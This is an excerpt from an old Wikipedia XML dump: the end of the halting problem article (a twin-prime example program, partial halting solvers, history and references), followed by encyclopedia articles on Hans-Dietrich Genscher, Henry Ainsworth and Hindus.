consider the famous (and still unsolved) [[twin prime conjecture]].   This asks whether there are arbitrarily large prime numbers ''p'' and ''q'' with ''p''+2 = ''q''.  Now consider the following program, which accepts an input ''N'':

  '''function''' findTwinPrimeAbove(''int'' N)
      ''int'' p := N
      '''loop'''
          '''if''' p is prime '''and''' p + 2 is prime
              '''return'''
          '''else'''
              p := p + 1

This program searches for twin primes ''p'' and ''p''+2 both at least as large as ''N''.  If there are arbitrarily large twin primes, it will halt for all possible inputs.  But if there is a pair of twin primes ''P'' and ''P''+2 
larger than all other twin primes, then the program will never halt if it is given an input ''N'' larger than ''P''.  Thus if we could answer the question of whether this program halts on all inputs, we would have the long-sought answer to the twin prime conjecture.   It's similarly straightforward to write programs which halt depending on the truth or falsehood for many other conjectures of [[number theory]]. 

Because of this, one might say that the halting theorem itself is unsurprising.  If there were a mechanical way to decide whether arbitrary programs would halt, then many apparently difficult mathematical problems would succumb to it. A counterargument to this, however, is that even if the halting problem were decidable over Turing machines, as it is over physical computers and other LBAs, it might still be infeasible in practice because it takes too much time or memory to execute. For example, there are some very large upper bounds on numbers with certain properties in number theory, but it's not feasible to check all values below this bound in a naïve way with a computer &amp;mdash; they can't even hold some of these numbers in memory.

==Recognizing partial solutions==
There are many programs that either return a correct answer to the halting problem or do not return an answer at all. If it were possible to decide whether a program gives only correct answers, one might hope to collect a large number of such programs and run them in parallel, in the hope of being able to determine whether many programs halt. Unfortunately, recognizing such partial halting solvers (PHS) is just as hard as the halting problem itself.

Suppose someone claims that program PHSR is a partial halting solver recognizer. Construct a program H:

 input a program P
 X := &quot;input Q. '''if''' Q = P output &quot;halts&quot; '''else''' loop forever&quot;
 run PHSR with X as input

If PHSR recognizes the constructed program X as a partial halting solver, that means that P, the only input for which X produces a result, halts. If PHSR fails to recognize X, then it must be because P does not halt. Therefore H can decide whether an arbitrary program P halts; it solves the halting problem. Since this is impossible, the program PHSR could not have been a partial halting solver recognizer as claimed. Therefore no program can be a partial halting solver recognizer.

Another example, ''H&lt;sub&gt;T&lt;/sub&gt;'', of a [[Turing machine]] which gives correct answers only for ''some'' instances of the halting problem can be described by the requirements that, if ''H&lt;sub&gt;T&lt;/sub&gt;'' is started scanning a field which carries the first of a finite string of ''a'' consecutive &quot;1&quot;s, followed by one field with symbol &quot;0&quot; (i.&amp;nbsp;e. a blank field), and followed in turn by a finite string of ''i'' consecutive &quot;1&quot;s, on an otherwise blank tape, then
* ''H&lt;sub&gt;T&lt;/sub&gt;'' halts for any such starting state, i.&amp;nbsp;e. for any input of finite positive integers ''a'' and ''i'';
* ''H&lt;sub&gt;T&lt;/sub&gt;'' halts  on a completely ''blank'' tape if and only if the Turing machine represented by ''a'' does not halt when given the starting state and input represented by ''i''; and 
* ''H&lt;sub&gt;T&lt;/sub&gt;'' halts on a ''nonblank'' tape, scanning an appropriate field (which however does not necessarily carry the symbol &quot;1&quot;) if and only if the Turing machine represented by ''a'' does halt when given the starting state and input represented by ''i''. In this case, the final state in which ''H&lt;sub&gt;T&lt;/sub&gt;'' halted (contents of the tape, and field being scanned) shall be equal to some particular intermediate state which the Turing machine represented by ''a'' attains when given the starting state and input represented by ''i''; or, if all those intermediate states (including the starting state represented by ''i'') leave the tape blank, then the final state in which ''H&lt;sub&gt;T&lt;/sub&gt;'' halted shall be scanning a &quot;1&quot; on an otherwise blank tape. 
While its existence has not been refuted (essentially: because there's no Turing machine which would halt ''only'' if started on a blank tape), such a Turing machine ''H&lt;sub&gt;T&lt;/sub&gt;'' would solve the halting problem only ''partially'' either (because it doesn't necessarily scan the symbol &quot;1&quot; in the final state, if the Turing machine represented by ''a'' does halt when given the starting state and input represented by ''i'', as explicit statements of the halting problem for Turing machines may require).

==History of the halting problem==
In the following: U refers to the source &quot;Undecidable&quot;

1900 -- [[Hilbert]] poses his &quot;23 questions&quot; cf [[Hilbert problems]] at the Second International Congress of Mathematicians in Paris, &quot;Of these, the second was that of proving the consistency of the 'Peano axioms' on which, as he had shown, the rigour of mathematics depended&quot; (Hodges p.83, commentary in U p. 108; also Penrose p. 34; also his address ''The Future of Mathematics'' reprinted in Reid p. 74ff and his famous pronouncement: &quot;This conviction of the solvability of every mathematical problem is a powerful incentive to the worker. We hear within us the perpetual call: There is the problem. Seek its solution. You can find it by pure reason, for in mathematics, there is no ''ignorabimus''&quot;(ibid p. 81)

1928 -- [[Hilbert]] recasts his 'Second Problem' [verification required! cf Penrose p.34 states this is a recast of his 10th problem but Reid does not agree] at the Bologna International Congress (cf Reid pp.188-189). &quot;Hilbert now added to the problem of consistency another problem, that of the completeness of the formal system&quot; (p. 189 Reid). Hodges claims he posed three questions: i.e. #1: Was mathematics ''complete''? #2: Was mathematics ''consistent''? #3: Was mathematics ''decidable''?  (Hodges p. 91). The third question is known as the ''[[Entscheidungsproblem]]'' (Decision Problem) (Hodges p.91, Penrose p.34)

1930 -- Hilbert retires, delivers his &quot;Farewell to Teaching&quot; (Reid p. 190) and reaffirms his &quot;Positivist belief&quot; (Hodges p. 92) that &quot;...there is no such thing as an unsolvable problem.&quot; (Hilbert quoted in Hodges p.92). &quot;...he denied again, at the end of his career, the &quot;foolish ignorabimus&quot; of du Bois-Reymond and his followers. At almost the same time [still needs verification] [[Gödel]] announces his proof as an answer to the first two of Hilbert's 1928 questions [cf Reid p. 198]. Gödel's paper is received on [[17 November]] (U p.5). &quot;At first he [Hilbert] was only angry and frustrated, but then he began to try to deal constructively with the problem... Göodel himself felt-- and expressed the thought in his paper -- that his work did not contradict Hilbert's formalistic point of view&quot; (Reid p. 199).   

1931 -- The paper of Kurt [[Gödel]] appears: &quot;On Formally Undecidable Propositions of Principia Mathematica and Related Systems I&quot;, (reprinted in U p. 5 ff&lt;!-- what is this ff doing here? --&gt;)

[[19 April]] [[1935]] -- Paper of [[Alonzo Church]] &quot;An Unsolvable Problem of Elementary Number Theory&quot; is presented to the American Mathematical Society, (reprinted in U p. 89ff). Church identifies ''effective caluclability'' with &quot;the notion of recursive function of positive integers&quot; (U p. 100). Such a function will have an algorithm, and &quot;...the fact that the algorithm has ''terminated'' [italics added] becomes effectively known and the value of F(n) is effectively calculable&quot; (ibid). 

1936 -- [[Alonzo Church]] publishes the first proof that the ''Entscheidungsproblem'' is unsolvable [''A Note on the Entsheidungsproblem'', reprinted in U p.110].

[[7 October]] [[1936]] -- Paper of [[Emil Post]] is received by Church’s (Hodges p. 125) ''Journal of Symbolic Logic''. His paper appeared as &quot;Finite Combinatory Processes. Formulation I&quot;,(reprinted in U p. 298ff). Post's brief paper introduces the word &quot;terminate”. Church had to certify that Post was unaware of Turing's work and vice versa (cf commentary in U p. 288, also Hodges p. 125). See Footnote|Post.

January 1937 -- Turing's ''On Computable Numbers With an Application to the Entscheidungsproblem'' is published (reprinted in U, p. 115). With three theorems he answers the “decision problem”: &quot;I shall show that there is no general method which tells whether a given formula '''U''' is provable in '''K''' [Principia Mathematica], or what comes to the same, whether the system consisting of '''K''' with -'''U''' adjoined as an extra axiom is consistent&quot; (p. 145, ibid). See Footnote|Turing.

1939 -- J.B. [[Rosser]] observes the essential equivalence of &quot;effective method&quot; defined by Gödel, Church, and Turing (Rosser in U p. 273, &quot;Informal Exposition of Proofs of Gödel's Theorem and Church's Theorem&quot;]. 

1943 -- In his 1943 paper [[Stephen Kleene]] discusses &quot;algorithmic theories&quot; (&quot;Recursive Predicates and Quantifiers&quot;, reprinted in U pp. 255ff). He states that &quot;In setting up a complete algorithmic theory, what we do is describe a procedure ... which procedure necessarily terminates and in such manner that from the outcome we can read a definite answer, &quot;Yes&quot; or &quot;No,&quot; to the question, &quot;Is the predicate value true?&quot;

==Footnotes==
'''Footnote|Davis''': Turing did not use the word &quot;halting&quot; or &quot;termination&quot;. Turing's biographer Hodges does not have the word &quot;halting&quot; or words &quot;halting problem&quot; in his index. The earliest known use of the words &quot;halting problem&quot; is in a proof by Davis (p. 70-71, Davis 1958). He uses Gödelization to prove the theorem:
::&quot;Theorem 2.2 ''There exists a Turing machine whose halting problem is recursively unsolvable''.
:&quot;A related problem is the ''printing problem'' for a simple Turing machine Z with respect to a symbol Si&quot; (p. 70).
Davis then goes on to prove his Theorem 2.3 that &quot;...''the printing problem for Z with respect to Sk is recursively unsolvable''&quot; (p. 71). This proof uses a form similar to the antinomies that appear in Minsky, Beltrami and this page, above. Davis adds no attribution for these proofs, so we can infer they are original with him. 

&quot;Halting Problem&quot; does not appear in either of Alonzo Church's texts dated 1944 and 1956, nor in E.F. Moores' ''A Simplified Universal Turing Machine'', Proc. ACM, Sept 1952, 1953. Moore's paper references &quot;mimeographed notes&quot; of a lecture by Davis at the University of Illinois in 1951, so this source would need to be investigated. Hao Wang's ''A Variant to Turing's Theory of Computing Machines'', Journal of the ACM 4(1):63-92 January 1957 does mention &quot;halt&quot; as an instruction (p. 65), but not the &quot;halting problem.&quot; Wang in turn references Post (ibid); see Footnote|Post below. By 1965 the &quot;halting problem&quot; has appeared in Fisher, ''On formalisms for Turing Machines'', Journal of the ACM 12,4 (Oct 1965), Anderaa &amp; Fisher, ''The Solvability of the Halting Problem for two state Post Machines'', Journal of the ACM 14(4):677-682 (Oct 1967), and in Minsky's text (1967).

'''Footnote|Post''': In his paper Post describes a &quot;formulation&quot; (i.e. process, not a machine) consisting of &quot;a worker&quot; who follows a &quot;set of instructions&quot; (instructions that are, as it turned out, virtually identical to those of Turing's machines). But Post adds another instruction &quot;(C) Stop&quot;. Thus &quot;...This process will terminate when and only when it comes to the direction of type (C).&quot; He called such a process &quot;type 1 ... if the process it determines terminates for each specific problem.&quot; He went on to remove the &quot;Stop&quot; instruction when evaluating &quot;symbolic logics&quot;; in this case &quot;a deterministic process will be set up which is ''unending''&quot; [his italics] Post did not address directly the &quot;Entscheidungsproblem&quot; in his &quot;formulation&quot;; see [[Post-Turing Machine]] for more.

==References==
* [[Alan Turing]], ''On computable numbers, with an application to the Entscheidungsproblem'',  Proceedings of the London Mathematical Society, Series 2, 42 (1936), pp 230-265. [http://www.turingarchive.org/browse.php/B/12 online version] This is the epochal paper where Turing defines [[Turing machine]]s, formulates the halting problem, and shows that it (as well as the [[Entscheidungsproblem]]) is unsolvable.
* {{cite book | authorlink = Michael Sipser | last = Sipser | first =  Michael | year = 2006 | title = Introduction to the Theory of Computation | edition = Second Edition | publisher = PWS Publishing | id = ISBN 0-534-95097-3X | chapter = Section 4.2: The Halting Problem | pages = pp.173–182 }}
* [[Wiki:HaltingProblem]]
* [[Martin Davis]], ''The Undecidable, Basic Papers on Undecidable Propositions, Unsolvable Problems And Computable Functions'', Raven Press, New York, 1965. Turing's paper is #3 in this volume. Papers include those by Godel, Church, Rosser, Kleene, and Post.
* [[Martin Davis]], ''Computability and Unsolvability'', McGraw-Hill, New York, 1958.
* [[Alfred North Whitehead]] and [[Bertrand Russel]], ''Principia Mathematica'' to *56, Cambridge at the University Press, 1962. Re: the problem of paradoxes, the authors discuss the problem of a set not be an object in any of its &quot;determining functions&quot;, in particular &quot;Introduction, Chap. 1 p. 24 &quot;...difficulties which arise in formal logic&quot;, and Chap. 2.I. &quot;The Vicious-Circle Principle&quot; p.37ff, and Chap. 2.VIII. &quot;The Contradictions&quot; p. 60ff.
* [[Martin Davis]], &quot;What is a computation&quot;, in ''Mathematics Today'', Lynn Arthur Steen, Vintage Books (Random House), 1980. A wonderful little paper, perhaps the best ever written about Turing Machines for the non-specialist. Davis reduces the Turing Machine to a far-simpler model based on Post's model of a computation. Discusses [[Chaitin]] proof. Includes little biographies of [[Emil Post]], [[Julia Robinson]]. 
* [[Marvin Minsky]], ''Computation, Finite and Infinite Machines'', Prentice-Hall, Inc., N.J., 1967. See chapter 8, Section 8.2 &quot;The Unsolvability of the Halting Problem.&quot; Excellent, i.e. readable, sometimes fun. A classic.
* [[Roger Penrose]], ''The Emperor's New Mind: Concerning computers, Minds and the Laws of Physics'', Oxford University Press, Oxford England, 1990 (with corrections). Cf: Chapter 2, &quot;Algorithms and Turing Machines&quot;. An overly-complicated presentation (see Davis's paper for a better model), but a thorough presentation of Turing machines and the halting problem, and Church's Lambda Calculus.
* [[John Hopcroft]] and [[Jeffrey Ullman]], ''Introduction to Automata Theory, Languages and Computation'', Addison-Wesley, Reading Mass, 1979. See Chapter 7 &quot;Turing Machines.&quot; An  book centered around the machine-interpretation of &quot;languages&quot;, NP-Completeness, etc.
* [[Andrew Hodges]], ''Alan Turing: The Engima'', Simon and Schuster, New York. Cf Chapter &quot;The Spirit of Truth&quot; for a history leading to, and a discussion of, his proof. A wonderful biography.
* [[Constance Reid]], ''Hilbert'', Copernicus: Springer-Verlag, New York, 1996 (first published 1970). Fascinating history of German mathematics and physics from 1880's through 1930's. Hundreds of names familiar to mathematicians, physicists and engineers appear in its pages. Perhaps marred by no overt references and few footnotes: Reid states her sources were numerous interviews with those who personally knew Hilbert, and Hilbert's letters and papers. 
* [[Edward Beltrami]], ''What is Random? Chance and order in mathematics and life'', Copernicus: Springer-Verlag, New York, 1999. Nice, gentle read for the mathematically-inclined non-specialist, puts tougher stuff at the end. Has a Turing-machine model in it. Discusses the [[Chaitin]] contributions. 
* [[Ernest Nagel]] and [[James R. Newman]], ''Godel’s Proof'', New York University Press, 1958. Wonderful writing about a very difficult subject. For the mathematically-inclined non-specialist. Discusses Gentzen's proof on pages 96-97 and footnotes. Appendices discuss the [[Peano Axioms]] briefly, gently introduce readers to formal logic.
* [[Taylor Booth]], ''Sequential Machines and Automata Theory'', Wiley, New York, 1967. Cf Chapter 9, Turing Machines. Difficult book, meant for electrical engineers and technical specialists. Discusses recursion, partial-recursion with reference to Turing Machines, halting problem. Has a [[Turing Machine]] model in it. References at end of Chapter 9 catch most of the older books (i.e. 1952 until 1967 including authors Martin Davis, F. C. Hennie, H. Hermes, S. C. Kleene, M. Minsky, T. Rado) and various technical papers. See note under Busy-Beaver Programs.    
* [[Busy Beaver]] Programs are described in Scientific American, August 1984, also March 1985 p. 23. A reference in Booth attributes them to Rado, T.(1962), On non-computable functions, Bell Systems Tech. J. 41. Booth also defines Rado's Busy Beaver Problem in problems 3, 4, 5, 6 of Chapter 9, p. 396.
* [[David Bolter]], ''Turing’s Man: Western Culture in the Computer Age'', The University of North Carolina Press, Chapel Hill, 1984. For the general reader. May be dated. Has yet another (very simple) Turing Machine model in it.

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  <page>
    <title>Hans-Dietrich Genscher</title>
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      <text xml:space="preserve">[[Image:Bush senior und Hans-Dietrich Genscher.jpg|thumb|[[George H. W. Bush]] and '''Hans-Dietrich Genscher''', November 21st, 1989.]]

'''Hans-Dietrich Genscher''' (Born [[March 21]], [[1927]]) is a [[Germany|German]] [[politician]] and member of the [[Free Democratic Party of Germany|Free Democratic Party (FDP)]]. He was [[Foreign Minister]] of the [[Federal Republic of Germany]] from 1974-1992, making him Germany's longest serving Foreign Minister.

Genscher was born at [[Reideburg]] ([[Saalkreis]]), near [[Halle, Saxony-Anhalt|Halle]], in what later became [[East Germany]].  At a young age, Genscher joined the [[Hitler Youth]] and later served as a [[Luftwaffenhelfer]] in the [[Wehrmacht|Army]] from [[1943]] to [[1945]].  As an adult, he was also a member of the [[NSDAP]], despite regulations encouraging active duty military members to avoid holding membership in political organizations (these regulations were widely ignored in the later days of [[Adolf Hitler]]'s Germany).

At the end of the Second World War, Genscher briefly became an American and British [[prisoner of war]]. After [[World War II]], he studied law and economics at the universities of Halle and [[Leipzig]] ([[1946]]-[[1949]]) and joined the East-German Liberal Democratic Party (LDPD) in 1946. 

In [[1952]], Genscher fled to West Germany, where he joined the [[Free Democratic Party of Germany|Free Democratic Party (FDP)]]. He passed his second state examination in law in [[Hamburg]] in 1954 and became a solicitor in [[Bremen (city)|Bremen]]. 

In [[1965]], he was elected to the [[Bundestag|German parliament]] for the first time from Bremen, a seat he would hold until his retirement in [[1998]]. After serving in several party offices, he was appointed Minister of the Interior by [[Chancellor of Germany|Chancellor]] [[Willy Brandt]], whose [[Social Democratic Party of Germany|Social Democratic Party]] was in coalition with the FDP,  in [[1969]]; in [[1974]], he became foreign minister and [[Vice Chancellor of Germany|Vice Chancellor]]).  

In the SPD-FDP coalition, he helped shape Brandt's policy of deescalation with the communist East, commonly known as ''[[Ostpolitik]]'', which was continued under [[Helmut Schmidt]] after Brandt's resignation in [[1974]].

Still, Genscher was one of the FDP's driving forces when, in [[1982]], the party switched sides from its coalition with the SPD to support the [[Christian-Democratic Union of Germany|CDU]]/[[Christian Social Union in Bavaria|CSU]] in their [[Constructive Vote of No Confidence]] to have [[Helmut Schmidt]] replaced with [[Helmut Kohl]] as Chancellor. Despite the great controversy that accompanied this switch, he remained one of the most popular politicians in Germany.  He retained his posts as foreign minister and vice chancellor until [[1992]], when he stepped down for health reasons.  Some believe his 18-year tenure as foreign minister made him the longest-serving holder of such an office anywhere in the world.

He is mostly respected for his efforts that helped end the [[Cold War]], to lead to [[German reunification]], when, in eastern Europe, the communist government toppled; for example, he visited [[Poland]] to meet [[Lech Wałęsa]] as early as [[1988]]. One event remembered by many is his [[September 30]], [[1989]] speech from the balcony of the German embassy in [[Prague]], in whose court yard thousands of East German citizens had assembled to flee to the west, when he announced that he had reached an agreement with the communist government that the refugees could leave: &quot;We have come to you to tell you that today, your departure ...&quot; (german: &quot;Wir sind zu Ihnen gekommen, um Ihnen mitzuteilen, daß heute Ihre Ausreise ...&quot;). After these words, the speech drowned in cheers.

Genscher did not run for reelection in 1998.  Since then, he has been active as a lawyer, in a public company, and in bona-fide international relations organizations. He founded his own Hans-Dietrich Genscher Consult GmbH in 2000.

Genscher was also an active participant in the further development of the [[European Union]], taking active part in the [[Single European Act]] Treaty negotiations in the mid [[1980s]], as well as the joint publication of the Genscher-Colombo plan with Italian Prime Minister Colombo which advocated further integration and deepening of relations in the [[European Union]] towards a more [[federalist]] European State.

==See also==
* [[Politics of Germany]]
* [[History of Germany since 1945]]

{| align=&quot;center&quot; border=&quot;1&quot;
| width=&quot;30%&quot; align=&quot;center&quot;|'''Preceded by:'''&lt;br&gt;(first term)&lt;br&gt;[[Walter Scheel]]
| width=&quot;40%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;|[[Foreign Minister of Germany]]&lt;br&gt;1974-1982, 1982-1992
| width=&quot;30%&quot; align=&quot;center&quot;|'''Succeeded by:'''&lt;br&gt;(first term)&lt;br&gt;[[Helmut Schmidt]]
|-
| align=&quot;center&quot;|'''Preceded by:'''&lt;br&gt;(second term)&lt;br&gt;[[Helmut Schmidt]]
| align=&quot;center&quot;|'''Succeeded by:'''&lt;br&gt;(second term)&lt;br&gt;[[Klaus Kinkel]]
|}


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  <page>
    <title>Henry Ainsworth</title>
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      <text xml:space="preserve">'''Henry Ainsworth''', ([[1571]]&amp;ndash;[[1622]]) was an English Nonconformist clergyman and scholar, was born of a farming family of Swanton Morley, [[Norfolk, England|Norfolk]].  He was educated at [[Caius College, Cambridge]], and, after associating with the [[Puritan party]] in the Church, eventually joined the [[Separatist]]s.  

Driven abroad about [[1593]], he found a home in &quot;a blind lane at [[Amsterdam]]&quot;, acting as &quot;porter&quot; to a bookseller, who, on discovering his knowledge of Hebrew, introduced him to other scholars.  When part of the London church, of which [[Francis Johnson]] (then in prison) was pastor, reassembled in Amsterdam, Ainsworth was chosen as their doctor or teacher.  In [[1596]] he drew up a confession of their faith, reissued in Latin in 1598 and dedicated to the various universities of Europe (including St Andrews, 
Scotland).  Johnson joined his flock in 1597, and in 1604 he and Ainsworth composed ''An Apology or Defence of such true Christians as are commonly but unjustly called Brownists''.  

Organizing the church was not easy and dissension was rife.  Though often involved in controversy, Ainsworth was not arrogant, but was a steadfast and cultured champion of the principles represented by the early Congregationalists.  Amid all the controversy, he steadily pursued his studies.  The combination was so unique that some have mistaken him for two different individuals. (Confusion has also been occasioned through his friendly controversy with one John Ainsworth, who left the [[Anglican]] for the [[Roman Catholic]] church.)  

In [[1608]] Ainsworth answered [[Richard Bernard]]'s ''The Separatist Schisme'', but his greatest minor work in this field was his reply to [[John Smyth (1570-1612)|John Smyth]] (commonly called &quot;the Se-Baptist&quot;), entitled ''Defence of Holy Scripture, Worship and Ministry used in the Christian Churches separated from Antichrist, against the Challenges, Cavils and Contradictions of Mr Smyth'' (1609).  

In 1610 Ainsworth was forced reluctantly to withdraw, with a large part of their church, from Johnson and those who adhered to him.  A difference of principle as to the church's right to revise its officers' decisions had been growing between them, Ainsworth taking the more [[congregationalist church governance|Congregational]] view. In spirit he remained a man of peace.  

His scholarly works include his ''Annotations'' -- on Genesis (1616); Exodus (1617); Leviticus (1618); Numbers (1619); Deuteronomy (1619); Psalms (including a metrical version, 1612); and Song of Solomon (1623).  These were collected in folio in [[1627]].  From the outset the ''Annotations'' took a commanding place, especially among continental scholars, establishing a scholarly tradition for English nonconformity.  

His publication of Psalms, ''The Book of Psalmes:  Englished both in Prose and Metre with Annotations'' ([[Amsterdam]], [[1612]]), which includes 39 separate [[texture (music)|monophonic]] psalm tunes, constituted the [[Ainsworth Psalter]], the only book of music brought to [[New England]] in [[1620]] by the Pilgrim settlers.  Although its content was later reworked into the [[Bay Psalm Book]], it had an important influence on the early development of American [[psalmody]].

Ainsworth died in 1622, or early in 1623, for in that year was published his ''Seasonable Discourse'', or a ''Censure upon a Dialogue of the [[Anabaptist]]s'', in which the editor speaks of him as a departed worthy.
 
==References==
*{{1911}}

[[Category:1571 births|Ainsworth, Henry]]
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    <title>Hilberts tenth problem</title>
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  <page>
    <title>Hindu</title>
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      <text xml:space="preserve">:''This article discusses the adherents of [[Hinduism]]. For other meanings of the word, see [[Hindu (disambiguation)]]. For more information on the people of [[India]], visit the [[Demographics of India]].''
{{Hinduism_small}}

A '''Hindu''' (archaic ''Hindoo''), as per modern definition is an adherent of philosophies and scriptures of '''[[Hinduism]]''', the predominant [[religious]], [[philosophical]] and [[cultural]] system of the [[Indian subcontinent]] and the island of [[Bali]]. Historically, Hindus can be referred to as the successors of [[Vedic aryans]]. Most of the Hindus today live in the [[Republic of India]]. Another popular name for India is [[Hindustan]], meaning the ''land of Hindus''.

More than one [[billion]] people across the world practise Hinduism. 950 million of them live in the [[Indian subcontinent]], the birthplace of Hinduism. The [[Himalaya]]n kingdom of [[Nepal]] is the world's only Hindu nation. Though the majority of the Indian population practices Hinduism, India is a [[secular]] [[republic]]. Large Hindu communities, mostly [[expatriate]]s from India, live in [[South East Asia]], [[North America]], the [[West Indies]], [[Western Europe]], the [[Middle East]], [[East Africa]] and [[South Africa]]. The Hindus of Bali, and in other parts of Indonesia are indigenous [[Agama Hindu Dharma|Indonesian Hindus]].

==Origins of the word ''Hindu''==
{{seealso|Etymology of India}}
[[Image:Sindhu river.jpg|right|thumb|250px|River Sindhu, [[Ladakh]]]]

The origin of the word Hindu is still disagreed upon by historians and linguists. It is generally accepted as having originally been a [[Persian language|Persian]] word for someone who lives around or beyond the river [[Indus]], which is called [[Sindhu]] in [[Sanskrit]], and meant any inhabitant of the [[Indian subcontinent]], before the [[Partition of India]]. 

In Persian and [[Arabic]], the term &quot;Hind&quot; denotes the Indian subcontinent, and the term Hindu (Indu or Intu in [[China]]) is  still used in some languages to denote a person from the region. A variant of the word was taken into old Greek, and lost the initial aspiration ('h') in modern Greek. This led to the [[Greek language|Greek]] name of 'India'.  
Pundit Jawaharlal Nehru in his book The Discovery of India writes &quot;the word 'Hindu' does not occur at all in our ancient literature. The first reference to it in an Indian book is, I am told, in a Tantrik work of the eighth century A.C., where 'Hindu' means a people and not the followers of a particular religion. But it is clear that the word is a very old one, as it occurs in the Avesta and in old Persian&quot;.
Until about 19th century, the term Hindu implied a culture and ethnicity and not religion alone. When the British government started periodic census and established a legal system, need arose to define [[Hinduism]] as a clearly-defined religion, along the lines of [[Christianity]] or [[Islam]]. Some scholars like [[Bal Gangadhar Tilak]], defined it as a religion based on the [[Vedas]], using the analogy of [[Bible]] and [[Qur'an]] being the basis of Christianity and Islam respectively.

The old Persian definition of &quot;Hindu&quot; would club all people living in India into a single group called &quot;Hindus&quot;. However, today all Indians are not called Hindus simply to be able to differentiate between adherants of different faiths, and also with respect to peoples' sentiments.

That even an [[atheism|atheist]] may be called a Hindu is an example of the fact that Hinduism is far beyond a simple religious system, but actually an extremely diverse and complicated river of evolving [[philosophy|philosophies]] and ancient [[tradition]]s.

==Who is a Hindu?==
[[Image:Prambanam.JPG|right|thumb|250px|Hinduism is world's oldest existing religion. Shown here is a 1100-year-old [[Siva]] [[Prambanan|temple]] in Indonesia]]
{{seealso|History of Hinduism}}

Prior to successful invasion of Indian subcontinent by [[Babar]] from [[Uzbekistan]] and later by European colonialists, there was no distinct definition of religion in India. Reform movements like the [[Samana]]s were not far from the [[Jain]] and [[Buddhist]] orders, and such groups provided the wheels of philosophical evolution and cultural change. While strict social ordering existed in the [[Brahmin|Brahmanical]] system, it was never necessary for anyone to worship a particular form of God, perform a particular set of rituals, speak a particular language, or regard one book as the most sacred. Different scholars gave different definitions but still who is Hindu is disputed. One definition states that a Hindu is one who accepts the authority of the Vedas.

The [[colonialism|colonial]] [[British Empire|British]] [[government]] introduced the [[census]] as is today, and for legal purposes set worded definitions and distinctions between populations living interwoven for thousands of years. This practice, once established, was exploited for political power by various communities, with distinct religions getting special privileges and recognitions as opposed to members of a sect, reform movement or of the larger mass of people. These bookish definitions fail to alter, however, centuries-old practices and relationships between communities, which though not free of divisive conflicts, are certainly not victims of any schisms. 

Many Hindus (mainly from [[North India]] and of the Indian state of [[Maharashtra]]) identify the [[God|Supreme Being]] as [[Vishnu]] and are known as [[Vaishnava]]; many others (mainly from [[South India]]) believe the Supreme Being is [[Shiva]] or [[Shankar]] and are known as [[Shaivaite]]; while many other (mainly from [[West Bengal]]) believe in the female Principal [[Shakti]] as the Supreme Energy or Force for life (birth and preservation) and destruction unified, and are called [[Shaktism|Shakti]] while in other branches of [[Vaishnavism]] and [[Shaivism]], Shakti is God's Unified Energy (Power) personified. The fourth major group, the [[Smarta]], call the Trinity and Shakti as the Supreme One [[Brahman]], which manifests into personal forms of God, such as [[Brahma]], [[Vishnu]] or [[Shiva]] (also known as Mahesh). However, no barrier or distinction or rivalry of any nature exists between any of these - historically, Hinduism is known for its religious tolerance and there is no friction whatsoever between these groups, who respect each other's practices. Each naturally respects all incarnations of the God, only choosing to see the Supreme in one particular form. Many follow a blend of all three beliefs and this is by far the most common form of religion for Hindus, with a mix of [[Shaivism]], [[Shaktism]] and [[Vaishnavism]] as well as other reform movements. In most Hindu temples one will find [[Shiva]] [[lingam]] together with [[vaishnava]] aspects of worship.

[[Hinduism]], especially its history and heritage, is vitally important and is strongly defining the characteristics of [[Indian nationalism]], and the political identity and expression of India's Hindus.

==Hallmarks of Hindu Society==

===Ethnic and Cultural Fabric===
[[Image:Early morning on the Ganges.jpg|right|thumb|250px|The Ganges is considered as the most sacred river by Hindus]]
{{seealso|Indo-Aryans|Aryan Invasion Theory|Demographics of India|History of India}}

Hinduism has one of the most gentically and ethnically diverse body of adherents in the world. Hinduism, its religious doctrines, traditions and observances are very typical and inextricably linked to the culture and demographics of India. 

Large tribes and communities of indigenous origins, are also closely linked to the earliest synthesis and formation of Hindu civilization. Peoples of [[Mongoloid]] roots living in the states of north eastern India and [[Nepal]] were also a part of the earliest Hindu civilization. Immigration and settlement of peoples from [[Central Asia]] and peoples of [[Indo-Greek]] heritage have brought their own influence on Hindu society. For example, the staunchest defenders of Hindu India against Muslim invaders were the [[Rajput]]s of modern [[Rajasthan]], who were immigrants from Central Asia. The [[Mehr]] community of Rajasthan and [[Gujarat]] is also proud of its Central Asian roots, but more fiercely proud of its Hindu traditions and faith. 

The Dravidian deities of the Indus Valley Civilization have uncanny resemblances to Hindu gods such as [[Shiva]].  The roots of Hinduism in southern India, and amongst tribal and indigenous communities is just as ancient and fundamentally contributive to the foundations of the religious and philosophical system.  Today, almost all Hindus belong to the ethnic communities living in the 28 states and 7 union territories of [[India]], and the provinces of [[Nepal]], [[Sri Lanka]] and [[Bangladesh]]. 

Ancient Hindu kingdoms arose and spread the religion and traditions across [[South East Asia]], particularly [[Thailand]], [[Burma]], [[Malaysia]], [[Indonesia]], [[Cambodia]] and what is now central [[Vietnam]]. A form of [[Hinduism]] particularly different from Indian roots and traditions is practised in [[Bali]], [[Indonesia]], where Hindus form 90% of the population. Indian migrants have taken Hinduism and Hindu culture to [[South Africa]], [[Fiji]], [[Mauritius]] and other countries in and around the [[Indian Ocean]], and in the nations of the [[West Indies]] and the [[Caribbean]]. 

Many Europeans, Africans and Americans have adopted spiritual and religious exercises inspired by [[Hinduism]] in [[North America]], [[Western Europe]] and [[Southern Africa]]. The [[ISKCON]] is a sect of the devotees of [[Krishna]], specifically, [[Gaudiya Vaishnavism]], mainly in the [[United States]] but spreading across the world, embracing people and working in countries completely unassociated with India.

===Linguistics of Hinduism===
[[Image:Mahabharata2.jpg|right|thumb|250px|Believed to be written in 3100 B.C.E., the [[Mahabharata]] is one of oldest known [[epic poetry|epics]]. Shown here is a scene from the epic [[Battle of Kurukshetra]]]]
{{seealso|Sanskrit}}

Although the [[Vedas]], the [[Mahabharata]] and the [[Ramayana]] have been written in the ancient language of [[Sanskrit]], Hinduism has several important religious and philosophical works written in other ancient languages like [[Tamil language|Tamil]], [[Kannada]], [[Pāli|Pali]], [[Prakrit]], and modern languages like [[Hindi]], [[Punjabi]], [[Malayalam]], [[Telugu language|Telugu]], [[Gujarati language|Gujarati]], [[Marathi]] and [[Bengali]]. 

The approximately 950 million Hindus who live in the [[Indian subcontinent]] are the people who speak the 18 official languages of [[India]], [[Tamil language|Tamil]] in [[Sri Lanka]], [[Gurkhali]] in [[Nepal]], some 5-10 more unofficial languages and over 1,000 dialects.  

Most of modern discourses, essays and analysis of Hindu religion and society, and re-telling of its greatest epics, are published in the [[English language]]. Millions of Hindus are known to be well-versed with that language.

